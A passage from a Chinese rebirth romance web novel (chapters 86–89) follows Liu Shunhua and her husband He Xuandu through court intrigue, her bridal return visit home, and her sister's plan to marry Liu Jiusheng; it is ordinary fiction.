说罢,想到了什么,又问:“上林苑那个刺客,到底是什么人,同上次袭击都尉府的是一批人吗?” 上次山洞内,她见贺玄度将人带走,心内疑惑。思来想去,总觉得他们的招式有些眼熟。也是昨日晚间,她收拾出贺玄度在凉州时送她的项圈,突然想到,那些人的路数,似乎同当初攻击都尉府的那些黑衣人一样。 贺玄度拿着木梳的手微微一抖。 当初柳舜华想远离长安,婚后回凉州时,他们已经搜集了不少彭城王的证据,千机阁潜伏在长安各处的探子已尽在掌握。只消静候一段时日,他们便能顺藤摸瓜,将彭城王拉下马,完成外祖遗愿。 可一夕之间,先帝崩逝,朝局动荡,九生那边前路扑朔迷离。昨日,他又惊悉母亲当年离世真相。 外祖遗愿他不敢忘,生母大仇更不能不报,如今他每一步都像踩在刀尖上。 他已深陷泥潭,决不能让柳舜华也搅进这烂泥里。 “你怎么了?”柳舜华见他久久不语,低声问道。 贺玄度恢复手上的动作,将梳齿缓缓滑过发尾时,忽然俯身,下颌抵在她肩窝,镜中两人身影交叠在一起。 他声音嘶哑,“蓁蓁,你能不能等等我?” 柳舜华双手覆上他冰冷的手指,柔声问:“是不是出什么事了?” “过完年,你能不能先去凉州等我?”贺玄度声音闷在她颈窝,“我知道,我出尔反尔,我很自私。你要打我骂我,我都随你。蓁蓁,求你别生气。” 柳舜华一怔,自昨日归来,他便有些不对,见他如此,心内愈发不安。 前世,她等了一辈子,她实在不想再等下去。 柳舜华缓缓道:“不,我不会等你。” 贺玄度抬头,镜中映出他猩红的眼角。 是啊,要等多久呢,他自己都不知道,他没有理由要求她等下去。 他垂着头,“蓁蓁,是我的错,但我从未想过要骗你,我……” “贺玄度。”柳舜华打断他,扳过他的脸,看着他的眼睛,“说好的夫妇一体,你为什么每次都要一个人扛着?我不愿等,不管是刀山火海,还是泥潭深渊,我只想陪着你,你懂不懂?” 贺玄度眼眶骤然湿润,双臂猛地收紧,将她死死按在怀里。 铜镜被撞得哐当一声歪斜,镜中映出他颤抖的肩背。 “我懂了,蓁蓁,对不起。”他喉间哽咽,“可是……” 话音戛然而止,柳舜华张口咬上他肩膀,疼得他浑身一颤。 她道:“疼吗?疼就记住,以后,有事别再瞒着我。” 贺玄度乖乖点头,“我记住了。” 柳舜华这才放开他,“说吧,你到底在做什么?” 贺玄度不敢再隐瞒,将他与刘九生所谋之事悉数告知。 如晴天霹雳,柳舜华悚然震惊。 上次凉州之行,她已知晓贺玄度与刘九生相识,却怎么也没料到,他们竟有如此渊源。 贺玄度是刘九生的人。 也就是说,上辈子,刘九生能当上了皇帝,背后少不了贺玄度推波助澜。 上一世,她只知他是清冷淡漠的相府公子,是教她诗书礼仪的良师益友。却不知他如蛰伏的猛兽,以残身之躯,暗中运筹帷幄,搅动朝堂风云。 重活一世,她才发觉,从前认识的他,不过是浮光掠影。 她从未,了解过真正的贺玄度。 柳舜华好半晌才回过神来,看着眼前的贺玄度,喃喃道:“所以,当初凉州那些贼匪,还有上林苑的刺客,都是千机阁的人,而千机阁听命于彭城王,你们要做的,便是扳倒彭城王。” 贺玄度点头,“没错。原本我想着待此事了结,便随你一起回凉州。可如今刘昌继位,他根本不可能替先太子翻案。” 刘昌与先太子的渊源,她略有耳闻。 柳舜华道:“刘昌已经继位,你想如何?” 贺玄度:“刘昌的皇位,怕是做不长了。” 柳舜华愕然,她知晓上辈子的事,自然知道他这个皇位做不久。可贺玄度,他是如何知道的。 “他年轻气盛,太急于证明自己。”贺玄度解释道:“他由我父亲挑选上位,却迫不及待地想要摆脱他, 为此拼命提拔自己的心腹。此举,已经触怒了父亲,他绝不会任由皇上宰割。” 先皇雄才大略,韬光养晦十几年,都未曾彻底摆脱掉父亲。刘昌凭什么以为,他能做到。他到底,还是太年轻了。 贺玄度继续道:“前些时日,车骑将军曾频繁上门,还有平阳王府,也曾送来信件。还有……” 还有,先皇临终前陪侍左右的柳桓安,他也绝没有想象中那么简单。 怕柳舜华担心,他没有说下去,只是道:“养不熟的狼崽,迟早会反扑。父亲明白这个道理,所以,刘昌退位,只差一个契机。” 柳舜华默然。 上辈子,刘昌于她而言,不过是个陌生人。一觉醒来,朝中彻底换了天,她照样在西竹院过活,丝毫未有任何影响。 可如今,他们虽不算是朋友,可却一起经历了过不少。 初次相见,他表面张牙舞爪,玩世不恭,却也放她离开;春蒙山下,他误以为她心悦于他,偷偷给她挂上玉佩;望月楼前,他与贺玄度针锋相对,说要立她为后;上林苑内,他与她被困山洞,他袒露心扉…… 想起上林苑最后一夜,他们一起喝酒,刘昌醉后说的那些话,柳舜华莫名有些难过。 上辈子,她不关注朝中局势,只隐约听闻刘昌被幽禁,生死未知。 她脑海中飞快盘算着,贺玄度既知刘昌即将被废,势必会推刘九生上位。 而刘九生,自然是会坐上皇位的。 她道:“玄度,若日后刘九生继位,可不可以,请他留刘昌一命。” 贺玄度眉头微微一皱,“蓁蓁,你怎么如此肯定,九生会继位?” 第87章 第87章回门礼 前世种种,于她而言,就是一场噩梦。 她恨过,也怨过。 恨贺家人只手遮天,他们柳家被他们牢牢压制,兄长前途尽毁,郁郁不得志;芊芊殚精竭虑,熬干心血病逝在未央宫;而她,被磋磨三年后,葬身火海。 怨自己有眼无珠,识人不清,眼睁睁看着一切发生,却无能为力。 重活一世,兄长不必忍辱负重,妹妹不必强颜欢笑。而她,也如愿嫁给心上人。 如今,她只求家人平安喜乐,只想护住曾经失去的一切。 至于贺家?她漠然一笑,何必脏了自己的手,豺狼终会自食恶果。 过往她不再去想,更不想再提,尤其是她曾嫁于贺玄晖。 贺玄度表面看起来桀骜张扬,实则占有欲极强,吃起醋来毫无道理可讲。若是让他知道此事,还不知会嫉妒成什么样子。 前尘往事里那个名义上的夫君,如今不过是个无关紧要的过路人。 她实在不想,他为了一个虚无缥缈的梦烦心。 “在想什么?”贺玄度垂头看着她,一脸狐疑。 柳舜华哼道:“你以为我是个草包不成?我兄长独具慧眼,深受先皇厚待,我作为他的妹妹,怎么可能对朝中之事一无所知。若是丞相执意要废掉刘昌,扶持新人登基,那皇族中最合适的便只剩刘九生了。只有他,毫无背景根基,连刘昌都不如。” 她说不想贺玄度有事瞒着她,可她却瞒着他,无比心虚,却不得不仰起头,装出理直气壮的样子。 “夫人怎么会是草包呢。昨日夫人替我出头,驳得程氏哑口无言,分明是我的……”贺玄度低笑着牵过她的手,话音忽顿,“夫人是我的女英雄。” 柳舜华噗嗤笑出声,指尖戳着他胸口:“什么女英雄?” 贺玄度低头凑近,“自然是能让我俯首称臣的女英雄。” 柳舜华耳尖一热,轻轻推他道:“你又乱说。” 贺玄度笑了一下,重新将她的青丝握在掌心,“九生不是残暴之人,自然不会赶尽杀绝。至于我父亲……” 他顿了一下,继续道:“他常以周公自居,妄图青史留名,必然不会让自己背负“杀主”恶名。可为免后患,他必不会放虎归山。” 柳舜华晓得,再问也是多余,便安心坐在镜子前,看他一点点将她长发挽起。 檐角冰凌渐融,滴水声坠入青瓷缸,惊得晒着暖的绿玉扑腾起来。日头渐渐高升,整个庭院都沐浴在冬日的暖阳里。 用过膳,柳舜华与贺玄度正逗着绿玉,洪声跑来说大公子那边一早又犯病了。 贺玄度想起昨日贺玄晖失态,拉着柳舜华的衣袖胡言乱语,顿时皱起眉头。 “他又做了什么?” 洪声看了一眼贺玄度,低声道:“听人说,大公子不知为何,跑去了西竹院。” 贺玄度与柳舜华皆是一怔。 贺玄度暗自思量,昨日方知母亲死因,才遣周松去查当年之事,今日贺玄晖便去了西竹院,难不成他发现了什么端倪,在装疯卖傻。细细一想,贺玄晖平日自持矜贵,最重礼仪,昨日那种情境,的确不太像是他能做出来的。 昨日贺玄晖说她是他明媒正娶的妻子,今日又去了西竹院。柳舜华心跳如擂,隐隐有个猜想,可是转念一想,他此前对她的态度又实在不像。一时也不知哪里出了问题,心内惴惴不安。 贺玄度丢了一块胡桃给绿玉,漫不经心道:“太医不是过来看过,怎么还没好?” 洪声回道:“说来也巧,听说大公子去过西竹院后,回去便好了。” 贺玄度抬起头,若有所思,“这就,好了?” 洪声看着柳舜华,低声道:“好是好了,但夫人那边又闹起来了。” 贺玄度留意到他的目光,问:“她又想做什么?” 洪声咳了一声,说道:“夫人说大公子此遭,是有人带邪祟入门,正要请道士进门做法事呢。” 贺玄度怕柳舜华心内不快,挥了挥手,让洪声下去。 待屋内只余两人,柳舜华才冷声道:“昨日害你不成,她今日便又想拿大婚当日跨火盆之事做文章,真是阴魂不散。” 程氏的手段,还是一如既往的下作,毫无一个当家主母应有的气度。 贺玄度剥了一瓣橘子递过去,笑道:“蓁蓁不必生气,她能兴风作浪,我自然有应对之策,你放心。” 两人正说着,妙灵便打帘进来,说是丁宝过来了。 贺玄度与柳舜华相视一望,他过来做什么? 片刻,贺玄度点头道:“让他进来。” 丁宝拍着身上的落雪,向着两人行礼。 贺玄度伸手将煮沸的杏仁茶递给柳舜华,这才转头问道:“可是兄长让你来的?” 丁宝笑道:“正是。大公子大病初愈,身子不大好,特差我过来传话。” 贺玄度:“什么话?” 丁宝道:“大公子说,昨日有些癔症,唐突了柳小姐,还望柳小姐勿怪。” 贺玄度抬眸,冷睨向丁宝:“柳小姐?” 丁宝心道,大公子刻意吩咐过,必须说柳小姐,他一个下人,哪敢不从。于是,只管垂着头装聋。 柳舜华秀眉一蹙,“昨日之事,想来大公子也是无心的,我与夫君不会在意。” 丁宝见话已带到,忙退了出去。 贺玄度手叩在轮椅边缘,贺玄晖方好,便特意差丁宝过来,只是传一句无关紧要的话,实在有些说不过去。 半晌,他抬头,突然问道:“蓁蓁,你此前,是否认识兄长?” 柳舜华怔愣片刻,稳住心神,笑道:“你为何会这么问?” 贺玄度指尖轻轻摩挲着茶盏边沿,“兄长昨日看你的眼神,很奇怪。” 柳舜华心跳漏了半拍,缓缓将杯盏放下,“魔怔之人说的话,做的事,哪有什么章法。” 贺玄度没再追问,只是笑着给她添了一杯热茶。 午间时分,贺玄度又出了趟门,柳舜华知晓他是去见刘九生。 暮色渐沉,她独自躺在锦榻上,听着窗外风声呜咽了一整个下午。 风时而急促,时而低徊,卷着枯枝拍打窗棂,发出细碎的“嗒嗒”声。 屋内熏香早已燃尽,只余一缕残烟在空中若有似无地浮着,绣着缠枝莲的帐幔被漏进来的风吹得摇曳不定。 恍恍惚惚中,她又梦到回了西竹院。 那夜雨下得急,豆大的雨点砸在青瓦上,狂风呼啸着,将屋檐下的灯笼吹得东倒西歪。 风拍打着窗棂,将烛火吹灭,屋内顿时一片漆黑。 妙灵烧得滚烫,芳草冒雨去求药,她一个人蜷缩在床榻一角,委屈又无助。 忽然,一道身影穿过雨幕而来,手中提着一盏琉璃灯,橘色的暖光透过雨帘,在她窗前投下一片光晕。 洪声推着 贺玄度,站在她窗前。 他声音混着雨声传来,清冷中带着几分克制,“玄度路过,为嫂嫂送一盏灯。” …… 迷迷糊糊中,有温热的触感在她脸颊轻轻蹭过。 柳舜华以为又是绿玉,眼都未睁开,嘟囔道:“绿玉,别闹。” 说着,抬手就要去推,指尖却触到一片细腻微凉的肌肤。 这哪里是绿玉的羽翅? 她猛地睁眼,正对上一双含笑的眸子。 “看来是我平日太过规矩,”他垂头低笑,“竟让夫人连我和绿玉都分不清了。” 霞光透过雕花窗棂,在他眉宇间洒下细碎的金芒,嘴角的笑意都染上几分温柔。 柳舜华大梦初醒,怔怔望着他。 那夜雨幕中执灯而来的身影,隔着重重雨帘,也是用这样深邃的眼神望着她。穿越了前世今生的羁绊,贺玄度终于真真切切站在了她面前。 贺玄度见她不说话,只一直看着他,伸手在她面前挥了挥,“怎么,还没醒?” 柳舜华眼眶倏地一热,伸手环上他劲瘦的腰身,将脸埋进他胸膛。 贺玄度胸前一湿,顿时慌了神,手忙脚乱地捧起她的脸,“怎么了?可是受了气?谁给你委屈受了?” 柳舜华摇头,攥紧他的衣襟,哽咽道:“没有,就是太想你了。” “人说,一日不见如隔三秋。”贺玄度低笑,温热的气息拂过她耳畔,“咱们这才三个时辰不见……” 话未说完,柳舜华突然仰头吻上他的唇,将他未尽的话语都堵了回去。 带着泪水咸涩的湿吻,却又甜得让人心尖发颤。 贺玄度身形微僵,随即反客为主,一手扣住她的后脑,一手揽住她的腰肢,将这吻逐渐加深。 屋内炭火正旺,唇齿交缠间,贺玄度尝着她唇上残留的梅花香膏,甜中带着微微的苦涩。她的呼吸渐渐急促,呼出的白雾与他的交融在一起,氤氲成一片暧昧的朦胧。 不知过了多久,他稍稍退开,看着她被吻得湿润的唇瓣,喉结滚动。 贺玄度喘息着道:“我准备了东西,你要不要看看,合不合适?” 柳舜华被他吻得意乱情迷,红唇微张,“什么?” 贺玄度笑道:“回门礼啊,怎么,你忘了?” 柳舜华拍着头,她本是记着要吩咐芳草的,一躺下便睡了过去。 贺玄度起身,将礼单拿给她看,“别慌,我都备好了。若是觉得少了,我再添上去,母亲留给我的那些财资,库房还有剩余。” 柳舜华接过一看,金笺上写得密密麻麻:活雁一对、束脩若干、云纹锦二十匹、红珊瑚盆景一件、鎏金腕钏一对、紫檀笔匣、湖笔徽墨、鎏银刻花暖炉…… 细细一看,他竟将柳府上上下下都考虑了个遍。 这样隆重的回门礼,贺家的库房,怕是又要遭灾了。 第88章 第88章女婿很周到 贺玄度在西院,习惯与老夫人一起用膳。 成婚后,老夫人考虑到小夫妻新婚燕尔,只让他们随意,不必再陪着用膳。 回门前,柳舜华与贺玄度先去老夫人那里问安,才去了正房。 程氏见到两人,拼命压住眼中的怒火,端出几分长辈的威严。 贺留善象征性地交代了几句,便放他们离开。 待回到院子,洪声过来说,府内马车一早便被调出去不少,如今只余下一辆寻常马车,另有辎车一辆。 如此熟悉的手段,柳舜华一听便知是贺容暄的手笔。 可马上便要出发,再去寻车已来不及。 贺玄度听着,只淡声道:“知道了。” 雪已停住,但天依旧阴冷。 朱漆大门两侧的石狮披着残雪,狮鬣上凝着细碎的冰晶,比平日多了一分憨态。 冬月的风掠过长安街巷,阶旁的老柳挂着霜,枯枝却依旧柔软,随着微风轻轻摇曳,时不时抖落一片雪粒,落在马车顶上。 那马车通体乌木,车帘用的虽是半旧的锦缎,妙在四角悬着鎏金铃铛,铃舌上被细心系上红绸,看着也分外喜庆。 贺玄度腿脚不方便,被洪声先扶上马车。 柳舜华紧随其后,正欲俯身入轿,忽觉背后有道目光灼灼。 回首望去,只见贺玄晖立在朱门前,玄色大氅被风撕扯翻卷,眉宇间凝着化不开的哀戚,眼尾泛着薄红,眸中蒙着一层水雾,带着痛楚与挣扎,目光沉沉压过来。 柳舜华心头蓦地一紧,总觉得他这眼神,太过古怪。 恰此时古柳不堪积雪,“啪”地折断一根细枝,碎雪混着冰粒子簌簌而下,正灌进柳舜华后颈。凉意激得她轻呼出声,一阵手忙脚乱,发间金步摇乱晃。 贺玄晖下意识向前迈了半步,却见车帘倏然垂落,铃铛叮咚作响,马车已辘辘远去。 “没事吧?”贺玄度探过头去,声音焦急。 “树上的雪落到了脖子里,冷死了。”柳舜华裹紧狐裘,故意撇了撇嘴,尾音不自觉地拖长,无端有几分撒娇的意味。 贺玄度将她拉近,轻笑道:“低头。” 柳舜华乖乖垂首,只见贺玄度从袖中抽出一块帕子,将她衣领拉开,露出一段雪白的脖颈。 帕子落下,他指尖隔着绢帛抚过她的后颈,力道轻得像在擦拭一件易碎的瓷器。融化的雪水顺着脊椎往下淌,却被他用帕子一寸寸接住。指腹不经意擦过肌肤,激起柳舜华一阵战栗。 “很冷吗?”贺玄度问。 柳舜华咳了一声,道:“有点。” 贺玄度将一旁的手炉递过去,“你先暖暖手,回头我吩咐他们,冬日里马车不要停在树下。” 马车有些小,车厢窄了些,贺玄度高大的身形挤在这方寸之间,膝盖不得不微微屈起。 柳舜华往一边缩了缩,抬手将他的腿伸开。 “你的腿,感觉怎么样了?” 贺玄度笑道:“昨日又找周太医瞧了,说是七日内不宜活动过量。七日后,要适当活动,约莫着年后便能痊愈了。” 柳舜华一喜,“那可太好了。” 她太兴奋,一时不慎,手臂碰到车壁,疼得叫了起来。 贺玄度替她揉着,心疼道:“这马车太小,真是委屈你了。” 柳舜华摇头,笑道:“你今日这回门礼,不知为我挣了多少面子,马车小点算什么。” 贺玄度淡声道:“那些财资都是母亲留给我的,没必要便宜程氏。” 柳舜华问:“程氏居然打你的主意?” 贺玄度看着窗外,“她不擅主持经营,相府那些产业,这些年都在亏损。程家那个烂摊子,她又非要挑着。别的不说,单就程望祖,程嘉良两叔侄,滥赌成性,她背地里不知贴补多少。相府外面清约,内里奢靡,如今早已是千疮百孔。” 其实上次下聘,他已转移了七七八八,只留一些在长安开销用。 柳舜华前世不太关注这些,可仔细一想,好像的确如此。她初嫁进相府时,程氏总是让她讨好老夫人,并借机撺掇老夫人交出全部掌家权。 贺玄度收回目光,缓缓道:“那些财资,一半是我母亲的嫁妆,一半是成婚时武帝及皇后的赏赐。武帝重用父亲,皇后与母亲交情匪浅,外祖享誉长安,当年大婚可谓盛极一时。” 很多年后,祖母讲起,依旧觉得遗憾,她怎么都没料到,他们一 对璧人,最后竟会是相看两厌。 柳舜华见他情绪有点低沉,坐直笑道:“多亏了母亲留下的财资,日后到了凉州,咱们便可以随心做自己喜欢之事。” 想到以后,贺玄度脸色舒展不少。 柳舜华继续道:“你送的聘礼,我都已经按类整理好了。咱们可以先将那些金银财帛,金玉器物运回凉州;一些大件的物什,不便运送,就地变卖;其他诸如田产、商铺,正好趁此机会好好细算。一些经营不善,年年亏空的,趁早脱手。其余旺些的铺面,就交由信得过的人来打理。” 贺玄度听她说得头头是道,眼底渐渐浮起一丝恍惚。 听舅舅说,母亲未出阁前,颇通商道,家中那套《货殖列传》,她批注得密密麻麻。外祖放心将家中事务交给她,阖家上下被她打理得井井有条。 若是母亲还在世,定会喜欢蓁蓁。 他笑道:“你在家时,曾主持家中事务?” 上辈子,她不喜诗书,偏生爱摆弄些机巧匠术。 兄长嫌她玩物丧志,屡次规劝。 父亲知她在凉州外祖家那边,一向野惯了,见她整日琢磨木工榫卯,只捋须笑道:“横竖咱们柳家祖坟没冒青烟,也供不出什么贵妃娘娘,就由着这丫头野去罢。” 的确,柳家门第却不算显赫,父亲不过是个闲职,在长安这遍地朱紫的皇城里,根本攀不上什么高门大户。 谁料后来阴差阳错,嫁进了相府。 她原本是不懂得这些的,只是贺玄度喜读诗书,又涉猎广泛。她幽居在后院时,跟着他学了几年,触类旁通,慢慢也就懂了。 柳舜华笑道:“未曾,不过是读过一些书,略微知晓一些皮毛罢了。” 贺玄度倚在车壁上,姿态放松,“我在钱财之道上不甚通,日后宅内事务,怕是要麻烦夫人了。” 马车停在柳府门前,父兄早迎在门口。 洪声照例先将贺玄度扶下车,安置在轮椅上。 贺玄度并未回头,只是伸手去接柳舜华,牵着她下了马车。 “父亲,兄长。”柳舜华唤了一声,声音哽在喉头。 柳奉应着,见他们夫妻和睦,上前道:“天冷,快些屋里坐吧。” 花厅内人影幢幢,柳家亲眷们正围坐在八仙桌旁说笑,桌上茶盏冒着袅袅热气。门帘被小厮挑起,满屋的谈笑声戛然而止,众人齐齐望向门口的两人。 柳棠华几日不见姐姐,一看到她,提着裙裾飞奔过去,拉着她的手,泪眼婆娑。 贺玄度让洪声将准备好的礼物拿出,鎏金暖炉,狼毫笔,金腕钏…… 每件礼物都恰好投其所好,连最挑剔的二婶母接过福寿镶金玉镯时,眉间的皱纹都忍不住舒展几分。 他态度谦和,礼数太过周到,惹得在场长辈频频点头。 柳桓安知晓,柳舜华是没有这份心思的,或者说,她根本想不到这些。她连族内亲眷都认不全,此事多半是贺玄度的主意。 见他肯为蓁蓁花心思,柳桓安放心不少。 柳奉看他大大方方与亲眷们周旋,丝毫没有相府公子的骄矜,更是越看越顺眼。 谁能想到,长安城中有名的纨绔,竟会如此细心周到。 贺玄度留在正厅,柳舜华则被一群姐妹拉去了暖厅说话。 女眷们围着柳舜华,只叹她好福气,嫁了个夫君生得好看,心思细腻。 孙姨娘虽得了好处,与有荣焉,但看到一旁干站着傻乐的女儿,心内多少有些不舒服。 同样是柳家的女儿,柳舜华回门时如此张扬,若是芊芊将来嫁了个寻常百姓,那她这脸可就丢大了。 众人寒暄一阵,有丫头打帘进来,说是酒菜已经备好,请大家到前厅坐席。 热热闹闹地用过午膳,亲眷们方才慢慢散去。 贺玄度依旧陪着父亲说话,柳舜华这边清静下来,拉着柳棠华到暖厅内坐着。 方才人多,说话不便,这会只剩下姐妹两人,柳棠华才问:“姐姐,你在相府怎么样?” 柳舜华笑道:“有祖母在,玄度他又贴心,没什么不好的。” 柳棠华点头,“姐夫成婚后,确实稳重不少。” 有个知心人疼姐姐,柳棠华很替她高兴。 柳舜华目光瞥向正厅,隐约听到父亲与贺玄度相谈甚欢。想起贺玄度昨日的话,看着眼前的柳棠华,那种隐隐的不安感,又油然而生。 她一心想着早日离开长安,远离纷争。可如今贺玄度与刘九生休戚相关,不等到他登基,是不会离开的。 比起这个,还有一个更为致命:丞相将来极有可能要反。 原本她可以装作不知,毕竟她与刘九生不过几面之缘,连话都未曾多说几句。可贺玄度不同,他与刘九生肝胆相照,兄弟情深。若将来事发,刘九生身死,贺玄度一定悲痛欲绝。 她攥紧了袖口,指尖微微发冷。 若是贺玄度知晓,会不会觉得她冷血无情,眼睁睁看着他的挚友赴死? 可她要如何说呢,无凭无据,凭什么断言丞相谋反?若因此打草惊蛇,反倒让丞相提前发难,又该如何? 柳棠华见她发呆,摇着她的手臂,“姐姐,你在想什么呢?” 柳舜华回过神来,决定暂时不去想那些纷扰之事。 她转头,看着柳棠华,问道:“之前,我问过你,愿不愿同我一起去凉州,你可有答案?” 柳棠华摸着她衣襟的手微微一顿,“姐姐,我想,我要成婚了。” “你想成婚了?”柳舜华一愣,旋即笑道,“好,等到了凉州,我给你好好……” “姐姐,我要成婚了。”柳棠华打断她,不敢看她的眼睛,“我要与刘九生成婚了。” 柳舜华如坠云中,“你说谁,刘九生?” 柳棠华鼓起勇气,抬头看着她,缓缓道:“对,刘九生。” 柳舜华怒道:“谁允许你同他成婚的,我不答应。” “可是姐姐,我喜欢他。”柳棠华咬着嘴唇,说得无比肯定。 兜兜转转,棠华竟然还是要嫁刘九生。 柳舜华浑身颤抖,胸闷得喘不过来气,大口呼吸着。 柳棠华见柳舜华真的被气到了,忙倒了一杯茶递过去,“姐姐,你先别气,你听我说。” 柳舜华一把将杯子推开,“芊芊,你答应过我的,要离刘九生远远的,你怎么忘了?你知不知道,他到底是什么人?” 柳棠华垂着头,低声道:“我知道,九生他已经告诉我了。” 柳舜华愕然,刘九生向芊芊坦白了? 她压下心中的怒意,让思绪平静。 刘九生明明知晓他有继承大统的可能,却还是选择在这个时候与芊芊成婚,他是,想让她做皇后? 上辈子,她原以为,他不过是做给天下人看,证明自己不忘糟糠。如今看来,刘九生倒是有几分真心。 可是,眼下真心有什么用,芊芊还不是为了他熬得油尽灯枯。 若芊芊真的嫁给他,那他们柳家将来势必会卷入其中。 她不能看着芊芊死在她前面,更不能让柳家拖进这滩浑水。 她打定主意,正要去劝,便听外面一阵响动。 芳草与妙灵进来,一脸忧愁道:“少夫人,二公子请你出来一趟。” 柳舜华满腹狐疑,出来一瞧,只见太阳就要落山,心下一紧。 大安习俗,女子归宁,日落前必须返回夫家,否则便是不吉。 贺玄度见柳舜华出来,缓声道:“蓁蓁,方才洪声来报,说是车轴突然断裂,怕是赶不及修缮了。” 柳舜华瞬间了然,又是贺容暄。 她想让她延迟归宁,扣上“不孝”的罪名。 柳奉有些着急,“府内只有两辆马车,今日亲眷来得多,偏巧都被借了去。” 柳桓安眉头深锁,再去租借马车,已经来不及了。 柳舜华看向贺玄度,“夫君怎么说?” 贺玄度朝着柳奉一拜,笑道:“天色将晚,归家不便,小婿怕是要叨扰岳丈大人了。” 第89章 第89章你压到我头发了 此言一出 ,众人无不愕然。 柳奉自然希望女儿能留下多陪他,可绝不是今日,“这,不合礼仪,若是……” 他没有说下去,此事可大可小,若是相府怪罪,他们被冠上“不孝”事小,万一再受家法处置,那可如何是好。 贺玄度道:“我知晓岳丈的担忧,不过岳丈大可放心,父亲绝不会怪罪的。” 柳舜华仔细一想,突然就明白过来了。 早上他明知贺容暄刻意刁难,却毫无反应,原来早有打算。 若程氏敢以此为由发难,势必要追究源头,那贺容暄这些小动作就会暴露,到时候名声扫地的可就是她了。 她盈盈一笑,“夫君此举,甚好。” 柳奉一头雾水,完全不懂他们在说什么,犹有些不放心,“蓁蓁,不回去,真的无事吗?” 柳桓安稍一琢磨,已猜出个大概,于是道:“父亲,放心,无事。” 柳奉虽不太懂,但见几人都这么说,这才放下心来。 女婿要留宿,柳奉格外上心,立即吩咐人准备晚膳。 嫁人后,难得同家人一起用膳,柳舜华虽想着事,兴致却不减。 柳奉高兴,非要拉着贺玄度喝酒。 贺玄度不敢多喝,只陪着喝了几杯。 柳奉喝得醉醺醺,又哭又笑,开始回忆往昔,从柳舜华早逝的母亲,到她远在凉州的外祖,又从长安求学说到外放为官。 最后,拍着贺玄度,让他保证,以后绝不会负柳舜华。 贺玄度立了几个重誓,柳奉这才放过他。 柳舜华哭笑不得,不住暗示贺玄度多多包涵。 一家人合合乐乐吃了饭方散去。 出了花厅,柳舜华推着贺玄度回屋。 贺玄度看着柳舜华闺房,很是新奇。 屋内陈设极简,床前的茜纱帐半垂,临窗檀木案上,砚池里墨已干涸,一支狼毫笔仍旧规整地搁在青瓷笔山上。 想起上次半夜过来,柳舜华坐在窗边写字的模样,贺玄度低头一笑,忽然从抽屉缝隙瞥见一叠纸。 他闲得无聊,顺手打开拿起一看,片刻怔忡。 柳舜华交待着芳草与妙灵煮茶,掀帘进来。 见贺玄度正站在窗前发呆,笑道:“看什么呢?” 贺玄度转过头,嘴角已不自觉扬起,将那张纸举高了些,“你的字写得不错。” 霞光透过窗棂映在纸上,照出上面密密麻麻的“贺玄度”三个字。字迹飘逸俊秀,每个名字前后都画了一只小狗,有的耷拉着耳朵趴在名字上,有的翘着尾巴围着名字转圈,最角落那只正叼着他的姓氏,得意地竖起前爪。 柳舜华顺着他的目光看去,瞧见半开的抽屉,顿时耳根发烫,三步并作两步冲上前:“还我!” 贺玄度笑着将手举得更高,宽大的衣袖垂下来,扫过她的发髻。 柳舜华踮起脚去够,转了一圈也未够道,索性破罐破摔,歪在桌前。 贺玄度不再逗她,将纸递了过去,笑道:“你写我名字就好好写,每个字前画个狗是什么意思?” 柳舜华夺过纸张,看了看,忍不住“扑哧”一笑。 贺玄度:“你笑什么?” 柳舜华指着其中一个得意仰头的小狗,“你自己看看,我画得像不像?” 贺玄度一看,还真有点像。 柳舜华将纸收起来,问道:“你是不是早就算计好了要留下?” 贺玄度点头,“若是连贺容暄那些小把戏都看不出,我这些年早死几百回了。” “你呀,”柳舜华眼角弯起,声音里带着几分娇嗔,“怎么不提前同我讲?” 贺玄度转过身来,暮色中眉目格外温柔,不着痕迹地拂去她鬓边一缕散落的发丝,“出嫁的女子回门,哪个不想多待片刻。贺容暄将这大好的机会送上门,我也是顺水推舟罢了。” 柳舜华笑道:“怎么此前都没发现,你这么心细呢?” 贺玄度凑过去,笑得暧昧,“夫人不知道的,多着呢。” 两人正笑着,便听芳草在外道:“小姐,我进来了。” 贺玄度立即坐回轮椅上。 芳草将茶放在桌上,“小姐,公子那边派人传话,说是请姑爷去一趟书房。” 柳舜华看向贺玄度,贺玄度点头,“你让他们稍等片刻,我这就去。” 贺玄度走后,柳舜华让芳草将柳棠华叫了进来。 柳棠华垂着头,站在一旁,乖乖等着柳舜华训话。 柳舜华没好气道:“站那么远做什么,过来些。” 柳棠华轻轻挪了两步。 柳舜华叹道:“芊芊,你既知他身份,便不该同他来往。他身世复杂,你跟着他,福祸难料,绝不是好归处。” 柳棠华沉默半晌,抬头道:“姐姐,什么才是好归处?” 柳舜华道:“自然是夫妇和睦一心,顺遂无忧。” “我与九生两情相悦,自然和睦一心。至于,顺遂无忧,”她顿了一下,笑道:“姐姐,这世间又有谁能一辈子安安稳稳的呢。” 柳舜华见她打定主意,也不再劝,只道:“总之,我不答应。” 柳棠华走过去,抬头问:“姐姐,你到底在怕什么?” 柳舜华猛地一愣,“你说什么?” “姐姐,你似乎很早便知道九生的身份。好像,也知晓我们会在一起。”柳棠华眼中带着一丝迷茫,“自认识九生以来,你处处提醒我远离他,好像笃定了,我们在一起没有好结局。” 暮色四合,天边的云霞照在窗外的枯枝上,一片赤红。 “我曾做过一个梦。”柳舜华指尖深深掐进掌心,“我梦到,你嫁给一个刘姓之人,为他劳心劳力,耗尽心血,最后……香消玉殒。” 柳棠华缓缓舒了一口气,安慰道:“姐姐,那只是一个梦,巧合而已。” 柳舜华摇头,“不,芊芊,你是我唯一的妹妹,我不能让你出事,即便是梦也不行。” 两人各不相让,都试图说服对方。 柳棠华低眉,许久才抬头,“姐姐,若是你梦到,你与姐夫不得善终,还会选择嫁给他吗?” 柳舜华猛地抬眸,眼中又燃起熊熊大火,火光中,她看不到贺玄度…… “姐姐,你怎么了?”柳棠华见柳舜华脸色煞白,双手微微颤抖,吓坏了。 她愧道:“姐姐,是我不好,是我说错了话。你要打我骂我都行,别生气。” 柳舜华只觉胸口堵得慌,心烦意乱,无力挥了挥手,“罢了,我今日累了,你先回去吧。” 柳棠华怕柳舜华看到自己生气,忙退了出去。 …… 书房内,柳桓安等候贺玄度多时。 看他过来,指着摆好的棋盘道:“要不要来一局?” 贺玄度转着轮椅过去,笑道:“却之不恭。” 柳桓安执黑子,缓缓落下,“此前竟是我看走了眼,没想到二公子如此有成算。” 白子轻放在玉盘上,贺玄度笑道:“为了家人与朋友,总是要多想些。” “家人,说的是蓁蓁。就是这朋友,”柳桓安顿了一下,“不知二公子说得是哪位?” 贺玄度长指捏着旗子,缓缓落下。 随后从袖中取出一块蜜丸,“望月楼发现的。” 